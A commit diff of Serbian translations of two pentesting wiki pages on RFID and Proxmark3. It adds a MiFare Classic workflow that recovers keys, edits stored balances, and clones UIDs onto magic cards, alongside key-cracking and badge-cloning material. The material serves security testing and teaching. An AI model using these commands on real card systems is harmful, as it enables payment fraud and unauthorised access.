Translated ['src/todo/radio-hacking/pentesting-rfid.md', 'src/todo/radio

This commit is contained in:
Translator 2025-09-29 12:55:01 +00:00
parent 9908e8ff53
commit 337c783f1f
2 changed files with 138 additions and 54 deletions

View File

@ -4,84 +4,84 @@
## Uvod
**Radio Frequency Identification (RFID)** je najpopularnije rešenje za kratkotalasnu radio komunikaciju. Obično se koristi za skladištenje i prenos informacija koje identifikuju entitet.
**Radio Frequency Identification (RFID)** je najpopularnije rešenje za radio komunikaciju na kratke distance. Obično se koristi za čuvanje i prenos informacija koje identifikuju entitet.
RFID oznaka može se oslanjati na **svoj izvor napajanja (aktivna)**, kao što je ugrađena baterija, ili primati napajanje od antene za čitanje koristeći trenutnu **indukovanu iz primljenih radio talasa** (**pasivna**).
RFID tag može da se osloni na **sopstveni izvor napajanja (active)**, kao što je ugrađena **battery**, ili da prima napajanje od antene čitača koristeći struju **induciranu primljenim radio talasima (passive)**.
### Kategorije
### Klase
EPCglobal deli RFID oznake u šest kategorija. Oznaka u svakoj kategoriji ima sve mogućnosti navedene u prethodnoj kategoriji, čineći je unazad kompatibilnom.
EPCglobal deli RFID tagove na šest kategorija. Tag u svakoj kategoriji poseduje sve mogućnosti navedene u prethodnoj kategoriji, što ih čini unazad kompatibilnim.
- **Klasa 0** oznake su **pasivne** oznake koje rade u **UHF** opsegu. Dobavljač ih **preprogramira** u fabrici. Kao rezultat, **ne možete promeniti** informacije pohranjene u njihovoj memoriji.
- **Klasa 1** oznake takođe mogu raditi u **HF** opsegu. Pored toga, mogu se **pisati samo jednom** nakon proizvodnje. Mnoge oznake klase 1 takođe mogu obraditi **ciklične redundancijske provere** (CRC) komandi koje primaju. CRC su dodatni bajtovi na kraju komandi za otkrivanje grešaka.
- **Klasa 2** oznake mogu se **pisati više puta**.
- **Klasa 3** oznake mogu sadržati **ugrađene senzore** koji mogu snimati parametre okruženja, kao što su trenutna temperatura ili kretanje oznake. Ove oznake su **polu-pasivne**, jer iako **imaju** ugrađeni izvor napajanja, kao što je integrisana **baterija**, **ne mogu inicirati** bežičnu **komunikaciju** sa drugim oznakama ili čitačima.
- **Klasa 4** oznake mogu inicirati komunikaciju sa drugim oznakama iste klase, čineći ih **aktivnim oznakama**.
- **Klasa 5** oznake mogu pružiti **napajanje drugim oznakama i komunicirati sa svim prethodnim klasama oznaka**. Oznake klase 5 mogu delovati kao **RFID čitači**.
- **Class 0** tagovi su **passive** tagovi koji rade u **UHF** opsezima. Proizvođač ih **preprograms** u proizvodnoj fabrici. Kao rezultat, ne možete menjati informacije sačuvane u njihovoj memoriji.
- **Class 1** tagovi takođe mogu raditi u **HF** opsezima. Pored toga, mogu biti **written only once** nakon proizvodnje. Mnogi Class 1 tagovi mogu takođe obrađivati **cyclic redundancy checks** (CRCs) komandi koje primaju. CRC su nekoliko dodatnih bajtova na kraju komandi za detekciju grešaka.
- **Class 2** tagovi se mogu **written multiple times**.
- **Class 3** tagovi mogu sadržati ugrađene senzore koji beleže parametre okoline, kao što su trenutna temperatura ili kretanje taga. Ovi tagovi su **semi-passive**, jer iako **have** ugrađeni izvor napajanja, poput integrisane **battery**, oni **cant initiate** bežičnu **communication** sa drugim tagovima ili čitačima.
- **Class 4** tagovi mogu inicirati komunikaciju sa drugim tagovima iste klase, što ih čini **active tags**.
- **Class 5** tagovi mogu obezbediti **power to other tags and communicate with all the previous tag** klase. Class 5 tagovi mogu delovati kao **RFID readers**.
### Informacije pohranjene u RFID oznakama
### Informacije sačuvane u RFID tagovima
Memorija RFID oznake obično pohranjuje četiri vrste podataka: **identifikacione podatke**, koji **identifikuju** **entitet** na koji je oznaka pričvršćena (ovi podaci uključuju korisnički definisane oblasti, kao što su bankovni računi); **dodatne podatke**, koji pružaju **dodatne** **detalje** o entitetu; **kontrolne podatke**, koji se koriste za internu **konfiguraciju** oznake; i **proizvođačke podatke** oznake, koji sadrže jedinstveni identifikator oznake (**UID**) i detalje o **proizvodnji**, **vrsti** i **dobavljaču** oznake. Prve dve vrste podataka ćete pronaći u svim komercijalnim oznakama; poslednje dve mogu se razlikovati u zavisnosti od dobavljača oznake.
Memorija RFID taga obično čuva četiri vrste podataka: **identification data**, koja **identifies** entitet na koji je tag pričvršćen (ti podaci uključuju polja definisana od strane korisnika, kao što su bankovni računi); **supplementary data**, koja daje **further details** u vezi sa entitetom; **control data**, koja se koristi za internu **configuration** taga; i **manufacturer data** taga, koja sadrži jedinstveni identifikator taga (**UID**) i detalje o njegovoj **production**, **type**, i **vendor**. Prve dve vrste podataka nalaze se u svim komercijalnim tagovima; poslednje dve se mogu razlikovati u zavisnosti od proizvođača taga.
ISO standard definiše vrednost Identifikatora aplikacione porodice (**AFI**), kod koji označava **vrstu objekta** kojem oznaka pripada. Još jedan važan registar, takođe definisan od strane ISO, je Identifikator formata skladištenja podataka (**DSFID**), koji definiše **logičku organizaciju korisničkih podataka**.
ISO standard definiše vrednost Application Family Identifier (**AFI**), kod koji ukazuje kojoj **vrsti objekta** tag pripada. Još jedan važan registar, takođe definisan od strane ISO, je Data Storage Format Identifier(**DSFID**), koji definiše **logičku organizaciju korisničkih podataka**.
Većina **bezbednosnih kontrola** RFID-a ima mehanizme koji **ograničavaju** **čitanje** ili **pisanje** operacija na svakom korisničkom memorijskom bloku i na posebnim registrima koji sadrže AFI i DSFID vrednosti. Ovi **zaključani** **mehanizmi** koriste podatke pohranjene u kontrolnoj memoriji i imaju **podrazumevane lozinke** prethodno konfigurisane od strane dobavljača, ali omogućavaju vlasnicima oznaka da **konfigurišu prilagođene lozinke**.
Većina RFID **security controls** ima mehanizme koji **ograničavaju** operacije **read** ili **write** na svakom korisničkom memorijskom bloku i na specijalnim registrima koji sadrže vrednosti AFI i DSFID. Ti **lock mechanisms** koriste podatke sačuvane u kontrolnoj memoriji i imaju **default passwords** koje je proizvođač unapred konfigurisao, ali dozvoljavaju vlasnicima tagova da **configure custom passwords**.
### Uporedba niskofrekventnih i visokofrekventnih oznaka
### Poređenje niskofrekventnih i visokofrekventnih tagova
<figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
## Niskofrekventne RFID oznake (125kHz)
## Low-Frequency RFID Tags (125kHz)
**Niskofrekventne oznake** se često koriste u sistemima koji **ne zahtevaju visoku bezbednost**: pristup zgradama, interkom ključevi, članstva u teretanama itd. Zbog svog većeg dometa, pogodne su za korišćenje za plaćeno parkiranje: vozač ne mora da dovede karticu blizu čitača, jer se aktivira iz daljine. U isto vreme, niskofrekventne oznake su vrlo primitivne, imaju nisku brzinu prenosa podataka. Iz tog razloga, nemoguće je implementirati složen dvostrani prenos podataka za stvari kao što su održavanje stanja i kriptografija. Niskofrekventne oznake samo prenose svoj kratki ID bez ikakvih sredstava za autentifikaciju.
**Niskofrekventni tagovi** se često koriste u sistemima kojima **nije potrebna visoka bezbednost**: pristup zgradama, interkonske ključeve, članske karte teretana, itd. Zbog većeg dometa, pogodni su za naplatu parkiranja: vozač ne mora da približi karticu čitaču, jer se aktivira sa veće udaljenosti. Istovremeno, niskofrekventni tagovi su vrlo primitivni i imaju nisku brzinu prenosa podataka. Zbog toga je nemoguće implementirati složene dvosmerne prenose podataka za stvari kao što su održavanje stanja računa i kriptografija. Niskofrekventni tagovi prenose samo svoj kratak ID bez ikakvih sredstava za autentifikaciju.
Ovi uređaji se oslanjaju na **pasivnu** **RFID** tehnologiju i rade u **opsegu od 30 kHz do 300 kHz**, iako je uobičajenije koristiti 125 kHz do 134 kHz:
Ovi uređaji se oslanjaju na **passive** **RFID** tehnologiju i rade u opsegu od **30 kHz do 300 kHz**, iako je uobičajeno koristiti 125 kHz do 134 kHz:
- **Dugi domet** — niža frekvencija se prevodi u veći domet. Postoje neki EM-Marin i HID čitači, koji rade na udaljenosti do jednog metra. Ovi se često koriste u parkiranju automobila.
- **Primitivni protokol** — zbog niske brzine prenosa podataka, ove oznake mogu samo prenositi svoj kratki ID. U većini slučajeva, podaci nisu autentifikovani i nisu zaštićeni na bilo koji način. Čim je kartica u dometu čitača, jednostavno počinje da prenosi svoj ID.
- **Niska bezbednost** — Ove kartice se lako mogu kopirati, ili čak čitati iz tuđih džepova zbog primitivnosti protokola.
- **Long Range** — niža frekvencija se prevodi u veći domet. Postoje neki EM-Marin i HID čitači koji rade sa udaljenosti do jednog metra. Oni se često koriste za parkiranje.
- **Primitive protocol** — zbog niske brzine prenosa podataka ovi tagovi mogu preneti samo svoj kratak ID. U većini slučajeva podaci nisu autentifikovani i nisu zaštićeni na bilo koji način. Čim je kartica u dometu čitača, ona jednostavno počinje da šalje svoj ID.
- **Low security** — ove kartice se lako mogu kopirati, pa čak i očitati iz nečijeg džepa zbog primitivnosti protokola.
**Popularni 125 kHz protokoli:**
Popularni 125 kHz protokoli:
- **EM-Marin** — EM4100, EM4102. Najpopularniji protokol u CIS-u. Može se čitati sa udaljenosti od oko jednog metra zbog svoje jednostavnosti i stabilnosti.
- **HID Prox II** — niskofrekventni protokol koji je uveo HID Global. Ovaj protokol je popularniji u zapadnim zemljama. Složeniji je i kartice i čitači za ovaj protokol su relativno skupi.
- **Indala** — vrlo stari niskofrekventni protokol koji je uveo Motorola, a kasnije ga je kupio HID. Manje je verovatno da ćete ga sresti u praksi u poređenju sa prethodne dve, jer izlazi iz upotrebe.
- **EM-Marin** — EM4100, EM4102. Najpopularniji protokol u CIS regionu. Može se čitati sa oko metar zbog svoje jednostavnosti i stabilnosti.
- **HID Prox II** — niskofrekventni protokol koji je uvela HID Global. Ovaj protokol je popularniji u zapadnim zemljama. Složeniji je i kartice i čitači za ovaj protokol su relativno skupi.
- **Indala** — vrlo stara niskofrekventna specifikacija koju je uveo Motorola, a kasnije preuzela HID. Manje je verovatno da ćete je sresti u divljini u poređenju sa prethodna dva jer izlazi iz upotrebe.
U stvarnosti, postoji mnogo više niskofrekventnih protokola. Ali svi koriste istu modulaciju na fizičkom sloju i mogu se smatrati, na jedan ili drugi način, varijacijom onih navedenih iznad.
U stvarnosti postoji mnogo više niskofrekventnih protokola. Ali svi oni koriste istu modulaciju na fizičkom sloju i mogu se smatrati, na ovaj ili onaj način, varijacijom gore navedenih.
### Napad
Možete **napasti ove oznake sa Flipper Zero**:
Možete **attack** ove tagove pomoću Flipper Zero:
{{#ref}}
flipper-zero/fz-125khz-rfid.md
{{#endref}}
## Visokofrekventne RFID oznake (13.56 MHz)
## High-Frequency RFID Tags (13.56 MHz)
**Visokofrekventne oznake** se koriste za složeniju interakciju između čitača i oznake kada su potrebni kriptografija, veliki dvostrani prenos podataka, autentifikacija itd.\
**Visokofrekventni tagovi** se koriste za složeniju interakciju čitačtag kada su potrebni kriptografija, veliki dvosmerni prenos podataka, autentifikacija itd.\
Obično se nalaze u bankovnim karticama, javnom prevozu i drugim sigurnim propusnicama.
**Visokofrekventne 13.56 MHz oznake su skup standarda i protokola**. Obično se nazivaju [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ali to nije uvek tačno. Osnovni skup protokola koji se koristi na fizičkom i logičkom nivou je ISO 14443. Visokolevelski protokoli, kao i alternativni standardi (poput ISO 19092), zasnivaju se na njemu. Mnogi ljudi ovu tehnologiju nazivaju **Near Field Communication (NFC)**, termin za uređaje koji rade na frekvenciji od 13.56 MHz.
**High-frequency 13.56 MHz tags are a set of standards and protocols**. Često se nazivaju [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ali to nije uvek tačno. Osnovni skup protokola koji se koristi na fizičkom i logičkom nivou je ISO 14443. Protokoli višeg nivoa, kao i alternativni standardi (kao što je ISO 19092), zasnivaju se na njemu. Mnogi ljudi ovu tehnologiju nazivaju **Near Field Communication (NFC)**, terminom za uređaje koji rade na frekvenciji 13.56 MHz.
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
Jednostavno rečeno, arhitektura NFC-a funkcioniše ovako: protokol prenosa bira kompanija koja pravi kartice i implementira se na osnovu niskolevelskog ISO 14443. Na primer, NXP je izmislio svoj vlastiti visokolevelski protokol prenosa nazvan Mifare. Ali na nižem nivou, Mifare kartice se zasnivaju na ISO 14443-A standardu.
Da pojednostavimo, arhitektura NFC-a funkcioniše ovako: protokol prenosa bira kompanija koja pravi kartice i implementira ga na osnovu niskonivnog ISO 14443. Na primer, NXP je izumeo sopstveni protokol prenosa višeg nivoa pod nazivom Mifare. Ali na nižem nivou, Mifare kartice su zasnovane na standardu ISO 14443-A.
Flipper može interagovati i sa niskolevelskim ISO 14443 protokolom, kao i sa Mifare Ultralight protokolom prenosa podataka i EMV-om koji se koristi u bankovnim karticama. Radimo na dodavanju podrške za Mifare Classic i NFC NDEF. Temeljno razmatranje protokola i standarda koji čine NFC zaslužuje poseban članak koji planiramo da objavimo kasnije.
Flipper može da komunicira i sa niskonivnim ISO 14443 protokolom, kao i sa Mifare Ultralight protokolom prenosa podataka i EMV koji se koristi u bankovnim karticama. Radimo na dodavanju podrške za Mifare Classic i NFC NDEF. Detaljan pregled protokola i standarda koji čine NFC zaslužuje zaseban članak koji planiramo kasnije objaviti.
Sve visokofrekventne kartice zasnovane na ISO 14443-A standardu imaju jedinstveni ID čipa. On deluje kao serijski broj kartice, poput MAC adrese mrežne kartice. **Obično, UID je dug 4 ili 7 bajtova**, ali može retko ići **do 10**. UIDs nisu tajna i lako se čitaju, **ponekad čak i odštampani na samoj kartici**.
Sve visokofrekventne kartice zasnovane na standardu ISO 14443-A imaju jedinstveni ID čipa. On funkcioniše kao serijski broj kartice, poput MAC adrese mrežnog adaptera. **Obično je UID dug 4 ili 7 bajtova**, ali retko može ići **do 10**. UID nije tajna i lako se čita, **ponekad je čak i odštampan na samoj kartici**.
Postoji mnogo sistema kontrole pristupa koji se oslanjaju na UID za **autentifikaciju i dodeljivanje pristupa**. Ponekad se to dešava **čak i** kada RFID oznake **podržavaju kriptografiju**. Takva **zloupotreba** ih snižava na nivo glupih **125 kHz kartica** u smislu **bezbednosti**. Virtuelne kartice (poput Apple Pay) koriste dinamički UID kako vlasnici telefona ne bi mogli otvarati vrata sa svojom aplikacijom za plaćanje.
Postoji mnogo sistema za kontrolu pristupa koji se oslanjaju na UID kako bi **authenticate and grant access**. Ponekad se to dešava **čak i** kada RFID tagovi **support cryptography**. Takva **zloupotreba** spušta ih na nivo glupih **125 kHz kartica** po pitanju **security**. Virtualne kartice (kao Apple Pay) koriste dinamički UID kako vlasnici telefona ne bi otvarali vrata pomoću svoje aplikacije za plaćanje.
- **Mali domet** — visokofrekventne kartice su posebno dizajnirane tako da moraju biti postavljene blizu čitača. To takođe pomaže u zaštiti kartice od neovlašćenih interakcija. Maksimalni domet čitanja koji smo uspeli da postignemo bio je oko 15 cm, i to sa čitačima visokog dometa po meri.
- **Napredni protokoli** — brzine prenosa podataka do 424 kbps omogućavaju složene protokole sa punim dvostranim prenosom podataka. Što zauzvrat **omogućava kriptografiju**, prenos podataka itd.
- **Visoka bezbednost** — visokofrekventne beskontaktne kartice ni na koji način nisu inferiorne u odnosu na pametne kartice. Postoje kartice koje podržavaju kriptografski jake algoritme poput AES i implementiraju asimetričnu kriptografiju.
- **Low range** — visokofrekventne kartice su dizajnirane da moraju biti postavljene blizu čitača. To takođe pomaže u zaštiti kartice od neovlašćenih interakcija. Maksimalni domet čitanja koji smo uspeli da postignemo bio je oko 15 cm, i to sa prilagođenim čitačima velikog dometa.
- **Advanced protocols** — brzine prenosa podataka do 424 kbps omogućavaju složene protokole sa punim dvosmernim prenosom podataka. Što zauzvrat **omogućava kriptografiju**, prenos podataka, itd.
- **High security** — visokofrekventne bežične kartice ni u kom pogledu nisu inferiorne u odnosu na smart kartice. Postoje kartice koje podržavaju kriptografski jake algoritme kao što je AES i implementiraju asimetričnu kriptografiju.
### Napad
Možete **napasti ove oznake sa Flipper Zero**:
Možete **attack** ove tagove pomoću Flipper Zero:
{{#ref}}
@ -95,9 +95,55 @@ Ili koristeći **proxmark**:
proxmark-3.md
{{#endref}}
### Izrada prenosnog HID MaxiProx 125 kHz mobilnog klonera
### MiFare Classic offline stored-value tampering (broken Crypto1)
Ako vam je potrebno **rešenje dugog dometa**, **na baterije** za prikupljanje HID Prox® bedževa tokom red-team angažmana, možete pretvoriti zidni **HID MaxiProx 5375** čitač u samostalni kloner koji staje u ranac. Potpuni mehanički i električni vodič je dostupan ovde:
Kada sistem čuva novčani saldo direktno na MiFare Classic kartici, često ga možete manipulirati zato što Classic koristi NXP-ov zastareli Crypto1 šifarski algoritam. Crypto1 je već godinama probijen, što omogućava vraćanje ključeva sektora i potpuni read/write memorije kartice koristeći standardni hardver (npr. Proxmark3).
Celokupan tok rada (apstraktno):
1) Napravite dump originalne kartice i povratite ključeve
```bash
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn
```
Ovo obično oporavi sector keys (A/B) i generiše full-card dump u client dumps folderu.
2) Pronađite i razumite polja vrednosti/integriteta
- Izvršite legitimna dopunjavanja (top-ups) na originalnoj kartici i napravite više dumps (pre/posle).
- Uradite diff između ta dva dumps da identifikujete promenljive blocks/bytes koji predstavljaju stanje (balance) i bilo koja polja integriteta.
- Mnoge Classic implementacije ili koriste nativno "value block" kodiranje ili razvijaju svoje checksums (npr. XOR stanja sa drugim poljem i konstantom). Nakon promene stanja, ponovo izračunajte integrity bajtove i proverite da su sva duplirana/komplementarna polja konzistentna.
3) Upišite modifikovani dump na upisivu “Chinese magic” Classic tag
```bash
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
```
4) Klonirajte originalni UID tako da terminali prepoznaju karticu
```bash
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
```
5) Korišćenje na terminalima
Čitači koji veruju saldu na kartici i UID-u prihvatiće manipulisanu karticu. Terenska zapažanja pokazuju da mnoga postrojenja ograničavaju salda na osnovu širine polja (npr. 16-bit fixed-point).
Napomene
- Ako sistem koristi native Classic value blocks, zapamtite format: value (4B) + ~value (4B) + value (4B) + block address + ~address. Svi delovi moraju da se poklapaju.
- Za prilagođene formate sa jednostavnim checksum-ovima, diferencijalna analiza je najbrži način da se izvede funkcija integriteta bez reverz inženjeringa firmware-a.
- Samo tagovi kod kojih se može promeniti UID ("Chinese magic" gen1a/gen2) dozvoljavaju pisanje bloka 0/UID. Normalne Classic kartice imaju UID-ove samo za čitanje.
Za praktične Proxmark3 komande, vidi:
{{#ref}}
proxmark-3.md
{{#endref}}
### Izrada prenosivog HID MaxiProx 125 kHz Mobile Cloner
Ako vam treba rešenje za rad na većim udaljenostima i napajano baterijama za sakupljanje HID Prox® bedževa tokom red-team angažmana, možete pretvoriti zidno montirani HID MaxiProx 5375 čitač u samostalan cloner koji staje u ranac. Kompletan mehanički i električni vodič je dostupan ovde:
{{#ref}}
@ -106,9 +152,12 @@ maxiprox-mobile-cloner.md
---
## Reference
## Izvori
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
- [Let's Clone a Cloner Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Napad na RFID sisteme sa Proxmark3
## Napadi na RFID sisteme pomoću Proxmark3
Prva stvar koju treba da uradite je da imate [**Proxmark3**](https://proxmark.com) i [**instalirate softver i njegove zavisnosti**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
The first thing you need to do is to have a [**Proxmark3**](https://proxmark.com) and [**instalirate softver i njegove zavisnosti**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Napad na MIFARE Classic 1KB
Ima **16 sektora**, svaki od njih ima **4 bloka** i svaki blok sadrži **16B**. UID se nalazi u sektoru 0 bloku 0 (i ne može se menjati).\
Da biste pristupili svakom sektoru, potrebna su vam **2 ključa** (**A** i **B**) koja su smeštena u **bloku 3 svakog sektora** (sektorski trailer). Sektorski trailer takođe čuva **bitove pristupa** koji daju **dozvole za čitanje i pisanje** na **svakom bloku** koristeći 2 ključa.\
2 ključa su korisna za davanje dozvola za čitanje ako znate prvi i pisanje ako znate drugi (na primer).
Ima **16 sektora**, svaki od njih ima **4 bloka** i svaki blok sadrži **16B**. UID se nalazi u sektor 0 blok 0 (i ne može biti promenjen).\
Za pristup svakom sektoru potrebna su **2 ključa** (**A** i **B**) koja su smeštena u **bloku 3 svakog sektora** (sector trailer). Sector trailer takođe čuva **access bits** koji daju **dozvole za čitanje i pisanje** na **svaki blok** koristeći ta 2 ključa.\
Dva ključa su korisna da bi se dodelile dozvole za čitanje ako znate prvi i za pisanje ako znate drugi (na primer).
Mogu se izvršiti nekoliko napada
Mogu se izvesti nekoliko napada
```bash
proxmark3> hf mf #List attacks
@ -31,11 +31,39 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Proxmark3 omogućava izvođenje drugih radnji kao što je **prisluškivanje** komunikacije između **Tag-a i Čitača** kako bi se pokušalo pronaći osetljive podatke. Na ovoj kartici možete jednostavno presresti komunikaciju i izračunati korišćeni ključ jer su **kriptografske operacije slabe** i poznavajući običan i šifrovani tekst možete ga izračunati (alat `mfkey64`).
Proxmark3 omogućava izvođenje i drugih akcija, kao što su **eavesdropping** **Tag to Reader communication**, kako bi se pokušalo pronaći osetljive podatke. Na ovoj kartici možete jednostavno presresti komunikaciju i izračunati korišćen ključ, jer su **kriptografske operacije koje se koriste slabe**, i poznavajući plain i cipher text možete ga izračunati (`mfkey64` tool).
### Raw Commands
#### MiFare Classic kratak tok rada za zloupotrebu stored-value
IoT sistemi ponekad koriste **nebrendirane ili nekomercijalne tagove**. U ovom slučaju, možete koristiti Proxmark3 za slanje prilagođenih **raw komandi tagovima**.
Kada terminali pohranjuju stanja na Classic karticama, tipičan end-to-end tok je:
```bash
# 1) Recover sector keys and dump full card
proxmark3> hf mf autopwn
# 2) Modify dump offline (adjust balance + integrity bytes)
# Use diffing of before/after top-up dumps to locate fields
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
proxmark3> hf mf cload -f modified.bin
# 4) Clone original UID so readers recognize the card
proxmark3> hf mf csetuid -u <original_uid>
```
Beleške
- `hf mf autopwn` orkestrira nested/darkside/HardNested-style napade, vraća ključeve i kreira dumpove u client dumps folderu.
- Pisanje bloka 0/UID radi samo na magic gen1a/gen2 karticama. Normalne Classic kartice imaju samo za čitanje UID.
- Mnoge implementacije koriste Classic "value blocks" ili jednostavne kontrolne sume. Osigurajte da su sva duplicirana/komplementirana polja i kontrolne sume usaglašena nakon izmena.
Pogledajte metodologiju višeg nivoa i mitigacije u:
{{#ref}}
pentesting-rfid.md
{{#endref}}
### Raw komande
IoT sistemi ponekad koriste **nebrendirane ili nekomercijalne tagove**. U tom slučaju možete koristiti Proxmark3 za slanje prilagođenih **raw komandi ka tagovima**.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -45,14 +73,21 @@ No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
Sa ovom informacijom možete pokušati da potražite informacije o kartici i o načinu komunikacije sa njom. Proxmark3 omogućava slanje sirovih komandi kao što su: `hf 14a raw -p -b 7 26`
Sa ovim informacijama možete pokušati da pronađete podatke o kartici i o načinu komunikacije sa njom. Proxmark3 omogućava slanje raw komandi kao što su: `hf 14a raw -p -b 7 26`
### Skripte
### Scripts
Proxmark3 softver dolazi sa unapred učitanom listom **automatskih skripti** koje možete koristiti za obavljanje jednostavnih zadataka. Da biste dobili punu listu, koristite komandu `script list`. Zatim, koristite komandu `script run`, praćenu imenom skripte:
Proxmark3 softver dolazi sa unapred učitanom listom **skripti za automatizaciju** koje možete koristiti za obavljanje jednostavnih zadataka. Da biste dobili kompletnu listu, koristite `script list` komandu. Zatim upotrebite `script run` komandu, praćenu imenom skripte:
```
proxmark3> script run mfkeys
```
Možete kreirati skriptu za **fuzz tag čitače**, tako što ćete kopirati podatke sa **validne kartice** jednostavno napišite **Lua skriptu** koja **randomizuje** jedan ili više nasumičnih **bajtova** i proverava da li **čitač pada** sa bilo kojom iteracijom.
Možeš napraviti skriptu za **fuzz tag readers** — ako kopiraš podatke **valid card**, jednostavno napiši **Lua script** koji **randomize** jedan ili više nasumičnih **bytes** i proverava da li **reader crashes** pri nekoj iteraciji.
## Reference
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}